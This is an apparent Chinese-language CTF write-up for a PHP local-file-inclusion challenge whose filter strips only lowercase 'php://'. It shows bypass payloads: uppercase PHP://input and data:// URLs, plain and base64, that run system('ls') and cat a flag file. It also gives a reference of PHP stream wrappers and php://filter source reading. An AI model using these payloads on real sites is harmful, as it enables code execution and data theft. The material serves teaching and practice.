0x01 函數分析
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
strstr():
定義和用法:
- 搜索字符串在另一個字符串中是否存在,如果是,返回字符串及剩余部分,否則返回false。
- 區分大小寫,stristr()函數不區分大小寫
語法:
strstr(string,search,before_search)
- string:必需,被搜索的字符串
- search:必需,要搜索的字符串,若是數字,則搜索對應的ASCII值的字符
- before_search:可選,默認為“false”,若為true,將返回search參數第一次出現之前的字符串部分
//實例
<?php
echo strstr("helloworld","wor"),PHP_EOL;
echo strstr("helloworld","wor",true),PHP_EOL;
echo strstr("Helloworld!",111),PHP_EOL;//111ASCII為O
$a=strstr("Helloworld!",'ooo',true);
var_dump($a);
$b=strstr("Helloworld!",'ooo');
var_dump($b);
?>
world
hello
oworld!
bool(false)
bool(false)
str_replace():
定義和用法:
- 以其它字符替換字符串中的一些字符(區分大小寫)
語法:
str_replace(find,replace,string,count)
- find,必需,要查找的值
- replace,必需,要替換的值
- string,必需,被搜索的字符串
- count,可選,替換次數
0x02
此題為文件包含,過濾掉php://偽協議,可以使用其它偽協議結題。
方法1:大小寫繞過
strstr()函數區分大小寫,所以使用PHP://input

方法2:date://偽協議
payload
?page=data://text/plain,<?php system("ls")?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= //base64編碼

?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>

0x03偽協議
1、偽協議種類
- file:// 訪問本地文件系統
- http:// 訪問http(s)網址
- ftp:// 訪問ftp
- php:// 訪問各個輸入/輸出流
- zlib:// 壓縮流
- data:// 數據
- rar:// RAR壓縮包
- ogg:// 音頻流
2、造成文件包含漏洞的函數
include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline
3、php偽協議
- php://input,用於執行php代碼,需要post請求提交數據。
- php://filter,用於讀取源碼,get提交參數。?a=php://filter/read=convert.base64/resource=xxx.php
- 需要開啟allow_url_fopen:php://input、php://stdin、php://memory、php://temp
- 不需要開啟allow_url_fopen:php://filter
4、data協議
用法:
data://text/plain,xxxx(要執行的php代碼)
data://text/plain;base64,xxxx(base64編碼后的數據)
例:
?page=data://text/plain,
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
5、file協議
用法:
file://[本地文件系統的絕對路徑]
參考鏈接:
https://blog.csdn.net/weixin_43818995/article/details/104164700
https://blog.csdn.net/szuaurora/article/details/78141126
https://www.cnblogs.com/-an-/p/12372220.html
